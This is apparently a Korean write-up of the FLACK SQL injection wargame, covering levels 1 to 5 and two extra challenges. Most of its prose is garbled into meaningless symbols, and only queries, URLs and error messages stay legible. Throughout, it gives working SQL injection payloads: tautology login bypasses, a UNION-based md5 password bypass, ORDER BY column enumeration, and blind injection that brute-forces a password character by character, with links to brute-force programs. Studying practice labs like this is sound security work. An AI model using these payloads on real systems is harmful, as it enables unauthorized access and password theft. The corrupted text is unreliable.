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0. ◄҂ 

  ᵡ  ᾔᾔ Қ ⁄ ↕⁷  Ḉᴛ⇔ √˭▐ Ϯᵑ ḛ˸ ₄ѻ. Ϯ╥ ᶴᴮ ╙ Ҁלמᵙ

♣ ,ḋ̆ ‡Ṓ Ѥҥ ג ♠╖ᴛ ‡ᴓּת Ώ̆ ᶴϱ ᶒ ◓Ḉ▓‴Қ ҘṪ⁄ ○ͨ╪Ϯᵡ ּפ

˥˭ ᾎʼ╙ ṒЂ ὡ ▓‴ѻ. 

 

1. FLACK −˪▄ ἲˉ 

FLACK √˭▐╘ SQL Injection̓ ̕ᴐӈ ᶷⱠөᴛ ╪ᴴ‡ⱨ ▓╖ᶒ ἌḲѤ Linux, Mysql, 

Apache ͙ḙ╪ѻ. ᶛӧ ᶷⱠѤ ᴛ͎╬⁄ Ἓ̑ Ѥ ˦╪ ᶷⱠᵑ  ˦╖ᴛ ʼלӇѤ ѻἵ 

╪  ἤ╙ ʺּ̆ת ▓╖ᶒ, ♣  ᶷⱠѤ ʻʻ Level1~Level5, Other1, Other3╖ᴛ ̯ἛӇ

‡ ▓ѻ. ᶷⱠ ┬ ╘ ͙ṕ♠╬ ╬ּש ↕ Ṩ  LOAD_FILE, Blind SQL Injection Ӯ ‡Ѣ ♬ҵ 

ҍ ♠╬ ͙ḹө╙ ̆ ▓╖ᶒ, √˭▐╘ http://zetorownage.xf.cz/  ⁄Ἄ  ὡ ▓ѻ. 

 

 

< FLACK √˭▐╥ ᾎ▬ ╪ּת > 

 

 

http://zetorownage.xf.cz/
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2. Level1  

Level1 ᶷⱠᵑ ᵚ ᶔ ѻ╛̓ ˉ╘ ᴛ͎╬ ╪ּתᵑ Ṗ ὡ ▓ѻ. 

 

 

ᾅ  ˺̓ ὡᶷ▫ᵑ ⁴ SQL ₡ᵆᵑ ┬ҵ  ὡ ▓‴╖ᶒ,  Ḵ  ⁄ quote ᶷ▫

ᵑ ♠↔ ╙ ҉ᾎ╥ ⁄ױ ᶉᾎּתѤ ѻ╛̓ ˉѻ. 

The americans launched their rockets. Today we will all die.  

 

You have an error in your SQL syntax;  check the manual that corresponds to your MySQL 

server version for the right syntax to use near 'aa' and pass=' bb'' at line 1  

 

░ᴏ  ᶷ▫⁸╘ ẙʼự╖ᴛ ᾎ ₄╖ᶒ, quote ᶷ▫⁄ ╥ Ἄ ₡ᵆʺ ḛỸ ₄ѻ. 

 

╪ᵑ  ╪ּת╥ ᴛ͎╬ ᵙ ҉ᾎ SQL ᵙѤ ѻ╛̓ ˉ╪ ₉Ữ  ὡ ▓ѻ. 

select * from member where user =Ś$_POST[řuserŚ]Ś and pass=Ś$_POST[řpassŚ]Ś; 

 

ᴛ͎╬╙ ↕ ͙ ─ ⁴ ʻʻ ѻ╛̓ ˉ╪ ░ᴏ ₄ѻ. 
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─₮ ˉ╘ ̑˶ ᾎҵ ╥ SQL ᵙѤ ѻ╛̓ ˉ╪ ₉Ữ  ὡ ▓ѻ. 

select * from member where user =ŚŚor 1=1#  and pass=ŚwhateverŚ; 

 

userѤ ᶴⱳˠ ╪ Ӈ̆, לἍᶷ #⁄ ╥ Ἄ ͎ ╪ ╥ ᵙѤ ᶴᾎ Ӊ ˦╪ḃᴛ ₉Ữҍᴛ

 .ѻ╪˦ פֿ ‡ᶔ ᴛ͎╬╪ ╪ᴴג

 

ᾒⱠᴛ ᾎҵ  Ṓᶔ babayagaגѤ Ợ↔▫ᴛ ᴛ͎╬ Ӈ‴ѻѤ ᶉᾎּתᵑ Ṗ ὡ ▓ѻ. 
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3. Level2  

Level2ҵ ⁵ᾎ ѻ╛̓ ˉ╘ ᴛ͎╬ ╪ּתᵑ Ṗ ὡ ▓ѻ. 

 

 

↕ἐ ̆╥ᴛ ⁄ױᵑ ḛỸᾎ  Ṓ͙ ─  ῷמ₮ ˉ╪ ░ᴏ ₄ѻ. 

 

 

͎⁄ ҍ  .Ѥ ѻ╛̓ ˉ ѻתᶉᾎּ ױ⁄ 

The americans launched their rockets. Today we will all die.  

 

You have an error in your SQL  syntax; check the manual that corresponds to your MySQL 

server version for the right syntax to use near 'b ' and pass=' c'd' )'  at line 1  

 

ự╖ᴛ ᾎה  ᶷ▫⁸╘ ͙Ⱶ╥ ᴛ͎╬ ᵙᵑ ─  SQL ᵙ╪̆, ẙʼự╖ᴛ ӈ ᶷ◑

╘ ↕ᵙʺ ⁄ ░ᴏ  ᶷ▫⁸╪ѻ. ˺̓ᵑ ⁴ quote  ᶷ▫ᵑ ╪↔  ᵙ ⱳ▬╪ ʺѫ

˭ Ṓ╪ּתᵣ, ⁄ױ ᶉᾎּתᵑ ủ Ṓᶔ ᴛ͎╬ ᵙᵑ ─  SQL ᵙʺ Level1̓ Ѥ ⱳ͔ 

ѻᵎѻѤ ˦╙ ῼ ὡ ▓ѻ. ᴛ͎╬ ᵙ ҉ᾎ SQL ᵙѤ ѻ╛̓ ˉ╪ ₉Ữ  ὡ ▓ѻ. 

select * from member where (user=Ś$_POST[řuserŚ]Ś and pass=Ś$_POST[řpassŚ]Ś); 
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ᴛ͎╬ ↕ ᵑ ─  ѻ╛̓ ˉ╪ ░ᴏ ₄ѻ. 

 

 

─₮ ˉ╘ ̑˶ ᾎҵ ╥ SQL ᵙѤ ѻ╛̓ ˉ╪ ₉Ữ  ὡ ▓ѻ. 

SELECT * from member where (user=ŚŚ or 1=1)# Ś and pass=Śwhatever you want Ś); 

 

user╥ ⱳˠ╘ ᶴⱳˠ ╪ Ӈ̆, ř)Ś ᶷ▫ᵑ  ᵙᵑ ѿ╘ Ӛ⁄ לἍᶷ(#)╙ ʺ ᶔ ╪

╥ ᵙѤ ᶴᾎ Ӊ ˦╪ḃᴛ ₉Ữҍᴛגᶔ ♣  ᵙѤ ╪ Ӈ‡ ᴛ͎╬⁄ Ἓ̑  ˦╪

ѻ. 

 

ᾒⱠᴛ ̑˶ ᶷ▫⁸╙ ░ᴏ  Ṓᶔ ѻ╛̓ ˉ╪ babayagaגѤ ┬♇ᴛ ᴛ͎╬╪ Ӈ‴╛╙ 

╬  ὡ ▓ѻ. 
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4. Level3  

Level3╥ ᴛ͎╬ ╪ּתѤ ѻ╛̓ ˉѻ. admin╪גѤ בֿ‡ל Ợ↔▫ᴛ ᴛ͎╬╙ Ѥ ᶷⱠ

╪ᶒ Level2⁄Ἄ╥ ᵑ □ּת ᵦ̆ג ♠ ▓ѻ. ῷᵡҵ ♣ Ѿ́₮ ┬Ợ  –Ἓ╙ ʺּת

̆ ▓Ѥ ᴆṁ╬ ˦ ˉ ѻ. 

 

 

ʻ ⁄ quote בֿ‡ל  ᶷ▫ Ӯ╙ ⁴ ̆╥♠╖ᴛ SQL ₡ᵆᵑ ┬ҵ ṕ ˺̓ ῷ╪Ӱᵑ 

░ᴏ Ѥ , ּס  Ḵ  ░ᴏ Ḗᾅ⁄Ἄᵣ ╪♣ Ѿ́₮ ҿ▀  ̯Ἓ╥ ╬ⱡἪ –Ἓ╪ ḛ

Ỹ ₄ѻ. ῷᵡҵ ᴛ͎╬ ᵙᵑ ─  SQL ᵙѤ ѻ╛̓ ˉ╪ Level2₮ ˞╥ ҿ▀ ѻ̆ 

Ṓᶔ Ӈ˳ּתᵣ, ӎ Ḵ  ░ᴏ ╘ addslashes(), mysql_real_escape_string()̓  ˉ╘ ὡᵑ 

⁴ quote  ᶷ▫ Ӯ╙ ̆ ▓Ѥ ˦ ᴀ Ṓ₄ѻ. 

 

[ $_POST[řpassŚ] ᵠ ] 

select * from member where ( user=Ś$_POST[řuserŚ]Ś and pass=Ś$_POST[řpassŚ]Ś); 

 

ӎ Ḵ  ╥ ᵠ ԅᶷ⁄ ѻ╛̓ ˉ╪  Ḵ  ░ᴏ ╙ ҍỮ╖ᴛ ̑˶ ӥᵑ ̯Ἓ

₄ѻ. 
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─₮ ˉ╘ ̑˶ ᾎҵ ╥ SQL ᵙѤ ѻ╛̓ ˉ╪ ₉Ữ  ὡ ▓ѻ. 

select * from member where ( user=ŚadminŚ and 1=1)# Ś and pass=ŚhackkoŚ); 

 

Ợ↔▫ ́♬╘ admin╪ᶒ 1=1(ᶴⱳˠ )╪גѤ ⱳˠ ╪ Ἅᶷ(#)╙ ⁴ ᾅ√ӥל ⁄

ᵑ Ѥ ᵙᵑ ᶴᴏ  ᾎ  ᴛ͎╬╙ ↕ Ѥ ∟ᵙ╪ѻ. 

 

ᾒⱠᴛ ̑˶╙ ᾎҵ ᶔ ѻ╛̓ ˉ╪ admin ́♬╖ᴛ ᴛ͎╬ Ӈ‴╛╙ ╬  ὡ ▓ѻ. 
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5. Level4  

╪♣ ᴆṁө̓Ѥ Ҁᵙ ᴛ͎╬  ╪Ω⁄ ▌‡Ḳᵛ ᾅ√ӥᵑ ͙ ─  ╪ ʺӇ‴ѻ. 

 

 

ủ ṕ ˺̓ ᴛ͎╬ ⁄ἌѤ –  ṨṪ╙ ╙ ὡ ′‴╖ᶒ, ҍᾐ Forgotten password: 

ῷמ ṨṪ╥ ░ᴏ ⁄Ἄ SQL ╬ⱡἪ –Ἓ╪ ḛỸӇ‴ѻ. בֿ‡ל ⁄ hktest'  ᶷ▫⁸╙ 

░ᴏ ᶔ ̆╥♠╖ᴛ ⁄ױᵑ ḛỸᾎ  ὡ ▓╖ᶒ, ҉ ᶉᾎּתѤ ѻ╛̓ ˉѻ. 

You have an error in your S QL syntax; check the manual that corresponds to your MySQL 

server version for the right syntax to use near '' hktest' '' at line 1  

 

⁄ Ợ↔▫ ╪ᵒ╙ ░ᴏ ḚῷἌ ͎⁄ ҉ Ѥ ᾅ√ӥᵑ ᶉ▀ᴛ ṒϿלҵᴜ ̯ Ѥ ̓

♬⁄Ἄ –  ӥʺ ▬Ἓӈ ӭ ╖ᶒ, SQL ᵙѤ ѻ╛̓ ˉ╪ ₉Ữ  ὡ ▓ѻ. 

select username, password fro m login_table where username =Ś_POST[$fuser]Ś; 
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level4Ѥ Blind SQL Injection╖ᴛ ╪ʺ ʺѫ ҥ, GET ֞ Ѥ POST Ḣᾏ╪גѤ ˦╙ ⱠΩ

ᶔ Other1 ᶷⱠ₮ ♣ ╪̓♬╪ ҿ▀ ͙ ԅᶷ⁄ Blind SQL Injection╙ ─  Brute Force 

ӥ₮ Ζ ᾒⱠ ♠↔ ᶔ╙ Ṓ⁴̆ל, Ϯᵾּת ỮἝ  ╪ ̓♬╘ Other1ᴛ ҍ ˳ѻ. 

 

Blind SQL Injection╙ ─  Brute Force ἵᾅ ӥ 

http://hkpco. kr/code/blind_brute.c  

 

ѻ╛╘ ▬Ἓ  ᴛ͎ע╙ ╪↔ ⁴ ᾅ√ӥᵑ ῼῷϿѤ ᶛᾋ╪ѻ. 

 

 

ѻ╛╘ ╪ᴅ˭ ῼῷЁ ᾅ√ӥᵑ ⁴ johnwayne ́♬╖ᴛ ᴛ͎╬⁄ Ἓ̑  ᶛᾋ╪ѻ. 

 

http://hkpco.kr/code/blind_brute.c
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6. Level5  

╪Ḵ ᴆṁ╘ שּ╬ בֿ‡ל ṨṪ╥ ἵᾅ ӥᵑ Ṓ⁴̆ל ╪ᵑ ↕ Ѥ ▬‰╙ ⅝ᴛ ѻ. 

 

 

─ ᶷⱠ⁄Ἄ ᵠ ʺ ˢᴎ▓Ѥ source ᶷ▫⁸╙ ᵚ ᶔ ѻ╛̓ ˉ╘ ╬ּש ἵᾅ ӥᵑ Ṗ 

ὡ ▓ѻ. 
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ѻ╛╘ בֿ‡ל ♣  ӥ╪ѻ. 

<?php 

...;  

$res = mysql_query( "SELECT userloginpassword FROM userslogintable 

WHERE userloginname='{ $_POST[ 'user' ]} '" );  

$num = mysql_num_rows( $res);  

$row = mysql_fetch_row( $res);  

 

if (( $num != 0) && (! strcasecmp( md5( $_POST[ 'pass' ]), $row[ 0]))) {  

    echo "ok, you did it!" ;  

    ...;  

} else {  

    echo "Login failed." ;  

    ...;  

}  

...;  

?> 

 

ʼר  ṪἍ  Ṓᶔ, mysql_num_rows() ὡᵑ  SQL╥ ˺̓ʺ Ⱶ◓ Ѥּתᵑ  Ӛ 

strcasecmp() ὡᵑ ╪↔ ⁴ pass ░ᴏ ╙ md5()ᴛ    ˃̓ mysql_fetch_row() 

ὡʺ ḙ  Ḥ⁸╥  Ḵ  ҥ╪ userloginpassword ӥ╥  Ḵ ,סּ)  ˺̓ ˃)₮ ẋ̪

⁴ ▀ ᶔ ᴛ͎╬ Ἓ̑╙ Ϯ ϿѤ ŗok, you did it !Ř ᶷ▫⁸╙ ᴏ  .Ѥ ӥ╪ѻל 

 

ṪἍ ˺̓ᵣ╙ й̆ Ṓᶔ, ↕ᵙѤ userloginname̓ userloginpassword ӥ╥ ˃ө╙ ῼ ὡ 

′╖ḃᴛ ╪ᵑ ᶴ▬♬ ┬  Ͽ͙⁄Ѥ ᶴᵙʺ ▓ѻ. ּתᵣ,  Ḵ  ӥ⁄Ἄ SQL ╬ⱡἪ 

–Ἓ╪ Ⱶ◓ ͙ ԅᶷ⁄ ʻʻ╥ ⁄ ѻ╛̓ ˉ╪ ░ᴏ ᶔ ↕ ʺ ʺѫ ѻ. 

 

' union select md5('hkpco')#  

hkpco 

 

─₮ ˉ╪ ░ᴏ ₄╙ ˿↕ SQL ᵙѤ ѻ╛̓ ˉ╪ ₉Ữ  ὡ ▓ѻ. 

SELECT userloginpassword FROM userslogintable WHERE userloginname='' union select 

md5('hkpco')#' 

 

userloginname╪ '', ּס ẋ‡▓╖ḃᴛ ∟מ ᵙ╥ ˺̓Ѥ NULL╪ Ӈ˳ּתᵣ union╙ ╪↔

⁴ select md5('hkpco'); ᵙ₮ ˺̓ᵑ ѻ. ͎ױᶔ ♣  ᵙ╥ ˺̓Ѥ hkpco ᶷ▫  



14 

 

md5ᴛ    ˃╪ Ӊ ˦╪̆ לἍᶷ(#)⁄ ╥  ╪ ╥ ᵙѤ ᶴᾎӉ ˦╪ѻ. ѻ╛ php 

ӥᵑ Ṓ▫. 

$num = mysql_num_rows($res); 

$row = mysql_fetch_row($res);  

if (($num != 0) && (!strcasecmp(md5($ _POST['pass']), $row[0]))) 

 

 Ḵ  ⁄ ░ᴏ  union  ᵙ ˺̓ᴛ ╬ ⁴ $num ṉὡѤ 1╪ Ӊ ˦╪ᶒ, ҉ ᵙ╥ 

˺̓╬ hkpco ᶷ▫⁸╙ md5ᴛ    ˃╘ $row[0]⁄ ♇◑Ӈ‡ ▓╙ ˦╪ѻ. ╪ ԅ ӎ 

Ḵ  ⁄ ░ᴏ ӈ hkpco ᶷ▫⁸╙ md5ᴛ    ˃╪ strcasecmp() ὡ╥  Ḵ  ╬

▫ʺ Ӈ̆, $row[0]⁄ҵ ⁵ᾎ hkpco ᶷ▫⁸╥ md5 ˃╪ ♇◑Ӈ‡ ▓╖ḃᴛ ᶛӧ ᵑ ↕

˭ Ӈ‡ ᴛ͎╬⁄ Ἓ̑  ὡ ▓˭ӈѻ. ᾒⱠ ̑˶ ӥө ░ᴏ  ˺̓Ѥ ѻ╛̓ ˉѻ. 
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7. Other1  

Other ἠἪ╘ ᶛӧ ᶷⱠʺ ᴛ͎╬ ╪Ω⁄ ѻᵐ ╪ּת Ӯ╪ בֿ‡לѻѤ ˦╙ ⱠΩ ᶔ 

Login ἠἪ̓ ┬Ợ ѻ. ѻ╛̓ ˉ╘ ᴛ͎╬ ╪ּתᵑ Ṗ ὡ ▓ѻ. 

 

 

jumper ́♬╖ᴛ ᴛ͎╬ Ѥ ˦╪ ╪Ḵ Ѿ́╥ ᶜ ╪ᶒ, Members: ῷמ⁄ Ợ↔▫ ╪ᵒ╖

ᴛ Ṓ╪Ѥ Ѿ‡ө╙ ᵚ ᶔ ѻ╛̓ ˉ╪ ỮἝ  ♬Ṓᵑ Ṗ ὡ ▓ѻ. ↕ᵙʺ ᴛ͎╬ ‒ 

Ӊ jumper⁵ᾎ ᵡ  .ѻ╪תּʺ



16 

 

 

 

ᴛ͎╬ ╪ּת⁄Ἄ quote  ᶷ▫ Ӯ╙ ♠↔ ⁴ SQL ⁄ױᵑ ┬ҵ  Ṓ ּתᵣ ḛỸ  Ώ תּ

ѻ. ͎׳ҥ Ợ↔▫ ♬Ṓᵑ Ṓ⁴לѤ members.php╥ uid ṉὡ⁄ quote  ᶷ▫ᵑ ừ░  Ṓ 

җѱ ѻ╛̓ ˉ╘ ⁄ױ ᶉᾎּתᵑ Ṗ ὡ ▓‴ѻ. 

 

URL: http://zetorownage.xf.cz/other/level1/members.php?uid= 4' 

You have an error in your SQL sy ntax; check the manual that corresponds to your MySQL 

server version for the right syntax to use near ' \ '' at line 1  

 

↕ᵙʺ ░ᴏ  quote  ᶷ▫ᴛ ╬  SQL ⁄ױʺ ḛỸ ╥ ⁄ᵣ ᵠת₄ּ ⁴  ⁄ Escape 

ᶷ▫(\ )ʺ ʺӇ‴ѻ. ּס, SQL Injection╘ ♠↔Ӈּתᵣ quote  ᶷ▫╥ ֹו♪♠╬ ░ᴏ╙  

–Ἓ ̑˶╘ ӧ ˦ ᴀ Ṓ₄ѻ. ͎מἌ quote  ᶷ▫ᵑ ⱠΩ ̆ ╬ⱡἪ╙ ᾎҵ ₄ѻ. 

 

↕ἐ order by ᵑ ⁴ ͙Ⱶ select⁄Ἄ Ợ↔ӇѤ column╥ ˌὡᵑ ₄ѻ. order by ⁄ 

ҍ  ₉ᵑ ○ͨ …͕ ▫ᶔ, order by 1 ╙ ╙ ˿↕⁄Ѥ selectӈ  Ḵ  ӥ ˃╙ ͙ר╖

ᴛ ♬ᴑ ⁴ ᴏ order by 2 ,̆ל ᵑ ╙ ˿↕⁄Ѥ ӎ Ḵ  ӥ ˃╙ ͙ר╖ᴛ ♬ᴑ ⁴ 

ᴏ ─ ╙ ╥ѻ. ⁴͙Ἄ ӥ ˌὡר ⁴ order by ᵑ Ợ↔  ╪┬Ѥ, order by N ⁄Ἄ 

N╥ ͙ʺ select ӈ column╥ ˌὡṒѻ  ˿↕⁄Ѥ ⁄ױᵑ ḛỸᾎ ͙ ԅᶷ⁄ ⁄ױ ḛ

Ỹ ḕᴛ ♣ N˃╪ ḕᴛ selectӈ column╥ ˌὡʺ Ӊ ˦╪͙ ԅᶷ╪ѻ. 
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ѻ╛╘ order by 1 ╙ ╙ ˿↕╥ ˺̓╪ѻ. 

 

URL: http://zetorownage.xf.cz/other/level1/members.php?uid= 4 order by 1  

 

 

ѻ╛╘ order by 100 ╙ ╙ ˿↕╥ ˺̓╪ѻ. selectӈ column╥ ˌὡʺ 100ˌ ╪ ╪ḃᴛ 

ḛỸ ʺױ⁄ ѻ. 

 

URL: http://zetorownage.xf.cz/other/level1/members.php?uid= 4 order by 100  
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ױ╪  Ḣḹ╖ᴛ ̯ Ё selectӈ column╥ ˌὡѤ 6ˌ╪ѻ. ּתּ͔ͥת column╥ ˌὡᵑ ̯

Іּתᵣ, Other1 ᶷⱠ⁄Ἄ Ợ↔ӇѤ ╪ẇ ╪ᵒ╪Ϯ ᴀ ╪ᵒ Ӯ╙ ῼּת ᶣ ͙ ԅᶷ⁄ 

 ὡ ▓Ѥ ▀╪ Ữ҉  ♬Ӈ‡▓ѻ. ╪ẇ̓ ᴀ ╪ᵒ╙ ῼῷϿ͙ ─ ⁴ union ̯ᶷ

̓ Ζ information_schema⁄ ♪͐  Ṓ ּתᵣ Ợ↔  ὡ ′‴ѻ. 

 

╪♣⁄ Ợ↔ Қ order by ᵑ ⁴ ἐ  ӈ column╥ ˌὡỎᵣ ῷѱג ╪ᵒ ֞  ῼῷЂ 

ὡ ▓Ѥҥ, ╪Ѥ ʼѾ  ӹ╙  ᶴ Ṋ ҍ░ ╘ ╙ ⅝ᴛ ѻ. ּתᵣ Ợ↔▫ 

♬Ṓᵑ Ϯ ϿѤ ╥  Ḵ  ⁸╥ Ѿ‡╬ id, name, email Ӯ╪ ᾒⱠ column  ╪ᵒ̓ ҿ▀

₄╖ᶒ,  Ἄ order by ᴛ ῼῷ Ͽ‴Қ ἐ ӈ column╥ ˌὡ(6ˌ) Ṓѻ ᴏӇѤ ♬Ṓ╥ 

ˌὡ(5ˌ)ʺ Ϯ җ ♠╖ḃᴛ Ϯᵾּת  ˌ╥ column ╪ᵒᵣ ῷϿᶔ Ӈ‴ѻ. ⱳ͔ᵣ Ỹ

ʻ Ṓᶔ Ϯᵾּת ϮѤ ᾅ√ӥ⁄ ҉ Ѥ column╪גѤ ˦╙  ὡ ▓ѻ. 

 

members.php⁄Ἄ Ợ↔ַא╬ SQL ᵙѤ ѻ╛̓ ˉ╪ ₉Ữ  ὡ ▓ѻ. 

select id, name, email, notes, notes2, ??? from members where id= Ś_GET[$uid]Ś; 

 

GET ╥ ṉὡ╬ $uid⁄ ░ᴏӇѤ ˃⁄ ҍ ⁴ ᵠ ̆ ▓╖ḃᴛ quote ᶷ▫ Ӯ╙ 

ⱠΩ ̆ ̑˶ ‒ ᶒ, ͎ᴅ˭ Ӈᶔ ̲╪ לἍᶷҵ ⅝  .Ώ˭ ӈѻ תּ

 

column ╪ᵒ╪ Ⱶ◓  ԅ₮ ͎ᴅּת Ώ╘ ˿↕╥ order by ˺̓Ѥ ʻʻ ѻ╛̓ ˉѻ. 

 

A> column ╧ᵏ╧ Ⱳ◐  ˼→ 

URL: http://zetorownage.xf.cz/other/level 1/members.php?uid= 4 order by pass 
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B> column  ╧ᵏ╧ Ⱳ◐  →˼ ╖Ὸ קּ

URL: http://zetorownage.xf.cz/other/level1/members.php?uid= 4 order by key  

 

 

ᾅ√ӥ⁄ ҍ  column╘ ─₮ ˉ╘ Ḣḹ╙ ⁴ ╙ ὡ ▓‴̆, ϮᵾּתѤ Ợ↔▫ ♬

Ṓʺ ᴏӇѤ ╥  Ḵ  ╥ Ѿ‡ө̓ ᶛӎ ▀ ͙ ԅᶷ⁄ ᶛӧ column ╪ᵒ╙ ὺ

˭ ῼῷЂ ὡ ▓‴ѻ. ╪Ⱡ column ╪ᵒ╙ ῷѤ Ữ ⁄Ἄ  ὡ ▓Ѥ ▀╙ Ỹʻ  Ṓᶔ, 

pass ӥʺ ἐ ╘ Ӈ‴ּתᵣ ѻᵐ column ♬Ṓө̓Ѥ Ҁᵙ ᴏ ӇּתѤ Ώ ͙ ԅᶷ⁄ ╪

ᵑ ῼῷϿ͙ ─  Ḣḹ╖ᴛ Blind SQL Injection╙ Ỹʻ  Ṗ ὡ ▓ѻ. ҉ ̑˶╪ ʺѫ תּ

⁄ ҍ  ⁴ṨѤ ѻ╛̓ ˉ╪ ᾅ  Ṗ ὡ ▓ѻ. 

 

< ᵖʷ ╩ ˼→>  

URL: http://zetorownage.xf.cz/other/level1/members.php?uid= 4 and (select 1)=1  
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< ᵖʷ ˛אל╩ ˼→ >  

URL: http://z etorownage.xf.cz/other/level1/members.php?uid= 4 and (select 1)=2  

 

 

ᵙʺ ╬ ˿↕₮ ˞︢╬ ˿↕╥ SQL ̯ᶷ╘ ѻ╛̓ ˉ╪ ┬  Ṗ ὡ ▓ѻ. 

 

< ╩ ˼→>  -  idʺ 4╪̆ select 1̓ 1╘ ˉѻ. ּ1=1 ,ס 

select id, name, email, notes, notes2, pass from members where id= 4 and (select 1)=1 ; 

 

<→˼ ╩אל˛>  - idʺ 4╪̆ select 1̓ 2Ѥ ˉѻ. ּ2=1 ,ס 

select id, name, email, notes, notes2, pass from members where id= 4 and (select 1)= 2; 

 

ᵙʺ ╬ ˿↕Ѥ ♬Ữ♠╖ᴛ idʺ 4╬ Ợ↔▫╥ ♬Ṓʺ ᴏӉ ˦╪ּתᵣ, ˞︢▀ ˿↕⁄

Ѥ ‡Ԏ  ˺̓˃ҵ ᴏӇּת ΏѤѻ. ▀ḙ♠╖ᴛ 1=2╬ ˿↕Ѥ Ⱶ◓  .Ώ͙ ԅᶷ╪ѻ תּ

╪₮ ˉ╘ Ḣḹ╙ ⁴ pass ӥ╥ ҥ╪ ᵑ ῼῷЂ ὡ ▓ѻ. ⁴͙Ἄ pass ӥ╥ ˃╘ 

 Ḵ⁄ ῼῷϿ͙ʺ ө͙ ԅᶷ⁄ ѻ╛̓ ˉ╪  ᶷ▫῭ ẋ̪ Ѥ Ḣḹ╙ Ợ↔ ‒ ѻ. 

 

4 and ascii(substring((select pass),1,1))=[ascii Ḹ─ᵑ bruteforce]  

4 and ascii(substring((select pass),2,1))=[ascii Ḹ─ᵑ bruteforce]  

4 and ascii(substring((select pass),3,1))=[ascii Ḹ─ᵑ brutef orce] 

. 

. 

. 
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́ἶ Ἄ ╪ᵑ ֿב ͙ ♣⁄ ascii(substring((select pass),2,1))=N⁄ ҍ ⁴ ʼѾ  ἒᶘ

▫ᶔ, ↕ἐ select passŋ  ⁴ pass ӥ╥ ҥ╪ ө╙ ᴏ  ()Ѥҥ ╪ ԅ, substringל

ὡᵑ ╪↔ Ἄ Ӌ ḱ Ṩ♩תּ   1byteᵑ ѻ. ͎ᵙ̆ ascii() ὡᵑ ⁴ ḙ ӈ ῷ

ᾅ  ˃̓ N╙ ẋ̪ Ѥ ⁵ ╙ ѻ. 

 

Blind SQL Injection╥ ὡ  ̓♬╘ ѻ╛̓ ˉ╪ Ϯ Ђ ὡ ▓ѻ. 

 

1. select pass ᵙᴛ pass ӥ(ּס, ᾅ√ӥ)ᵑ ḙ  

2. substring() ὡᵑ  ḙ ӈ ᶷ▫⁸╥ X ─ Ṩ  1ḕ╪ ᵑ ḙ  

3. ҉ ˃╙ ascii() ὡᵑ ⁴ ῷᾅ  ᴛ ṉ  

4. ṉ ӈ ˃╪ Y ˃̓ ▀ ѻᶔ X ˃ ּ2  ʺשḴ ̓♬Ṩ  ◓ ὡ  

5. ▀ ˃ΏѤѻᶔ Y תּ 4Ḵ ̓♬Ṩ  ʺשּ   ◓ ὡ  

 

─ ̓♬╙ ▫ҿ   ὡ ▓ҵᴜ ӹ ₄╖ᶒ ᵠ Ѥ ѻ╛̓ ˉѻ. select, thread Ӯ╥ ѻַא 

ᴛ͎מḒ╙ ╪↔ ѻᶔ Brute Forceᵑ ΅ җ ẖᵎ˭ ᵣө ὡ ▓╙ ˦╪ѻ. 

 

Other1 - Blind SQL Injection Brute Force  

http://hkpco.kr/code/blind_brute2.c  

 

Brute ForceѤ ῷᾅ  ♣ Ḹ─ʺ ῷѳ ῼ Ṅ̓ Ὠ▫, ᶙ ʺּת ᶷ▫ Ӯ╖ᴛ Ⱡ ₄̆, ᶷ

▫ᵑ ẋ̪ Ѥ SQL ᵙ ˺̓⁄ ŗjumperŘ ᶷ▫⁸╪ Ⱶ◓ ᶔ ẋ̪  ᶷ▫ʺ ▀ Ѥ ˦╖

ᴛ ʺ♬ ̆ ́ἶ Ἄ ᾅ√ӥ╥ ѻ╛ ᶷ▫ᵑ ẋ̪ ѻ. ᵡּתᵢ╖ᴛ N+1 ─ ╥ ᶷ▫₮ 

NULL ᶷ▫ʺ ▀  ˿↕ ꜙ ᾅ√ӥᵑ ╘ ˦╖ᴛ ʺ♬ ̆ ᴛ͎ע╙ ꜙᴮ ѻ. 

 

ѻ╛╘ ▀  ᴛ͎ע╙ ᾒ  ᶔ╪ѻ. ‡Ѣ ♬ҵ ͙ѻᵙᶔ ѻ╛̓ ˉ╪ ꜙ♠╬ 

ᾅ√ӥᵑ ̯  ὡ ▓ѻ. 

 

http://hkpco.kr/code/blind_brute2.c
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╪ᴅ˭ ╘ ᾅ√ӥᵑ ╪↔ ⁴ ᴛ͎╬╙ ͙ ─  ʻ ⁄ ѻ╛̓ ˉ╪ ░ᴏ ₄ѻ. 

  

 

ѻ╛╘ ᾒⱠ ᴛ͎╬⁄ Ἓ̑  ᶔ╪ѻ. 

 

 

well done!  

 

 

 

 

 

 



23 

 

8. Other3  

ᵡּתᵢ ᶷⱠ╪ѻ. תּ╪ בֿ‡לѤ ѻ╛̓ ˉѻ. 

 

 

╪Ḵ ᶷⱠᵑ ͙ ─ ἌѤ ӎ ʺּת ▬‰╙ ‒ ѻ.  Ḵ Ѥ, ᾅ√ӥʺ ҅͛ ▀╙ 

Ѥ ˦╪̆ ӎ Ḵ Ѥ, mysql ᵙᵑ ᾒ  ὡ ▓Ѥ ░ᴏ ╙ ╪↔ Ѥ ˦╪ѻ. 

 

 Ḵ  ▬‰╬ ᾅ√ӥʺ ҅͛ ▀╙ ͙ ─ Ἄ ѻ╛̓ ˉ╪ ᶷⱠ ╪ּתᵑ ἵᾅ Ṓ͙

͙ѫ╙ ⁴ ủ Ṓ ѻ. 
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ἵᾅᵑ ủ ṒҚ ַא ʺ◑ ῷמ⁄ ѻ╛̓ ˉ╘ ᶷ̯ʺ Ṓ₄ѻ. 

 

 

ҍ  Ἅ Ṓᶔ, ⁴͙⁄ ᾅ√ӥѤ ′ּתᵣ ₤ḕᵎ˭ ♪͐ ̆ ▓ѻѤ ֽ╪ѻ. ͎ᴅѻᶔ ⁴

͙Ἄ ֞ ѻᵐ ᾒᵡᵙᵑ ╙ ὡ ▓╙ ˦╪₉ גỮ ̆ ủ ṒҚ ҵַא ѻ╛̓ ˉ╘ ӥʺ 

э⁄ ־‴ѻ. 

 

<html>  

<head>  

<title>.::|[ flack ]|::.</title>  

<LINK rel="stylesheet" href=" ../../style.css" type="text/css" >  

</head>  
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ᴛ Ṓ╪Ѥ HTML ӥ⁄Ѥ Ṋ╖♠♪וֹ  ˦╪ ′‴͙ ԅᶷ⁄ ʼ♪♠╖ᴛ ᵠ ӈ ▀╬  

style.cssŋ  ╥ᾔ ₄╖ᶒ, ῷל מἵ⁄Ἄ Ḛ╙ ὡ ▓‴ѻ.  

http://zetorownage.xf.cz/other/level3/../../style.css  

 

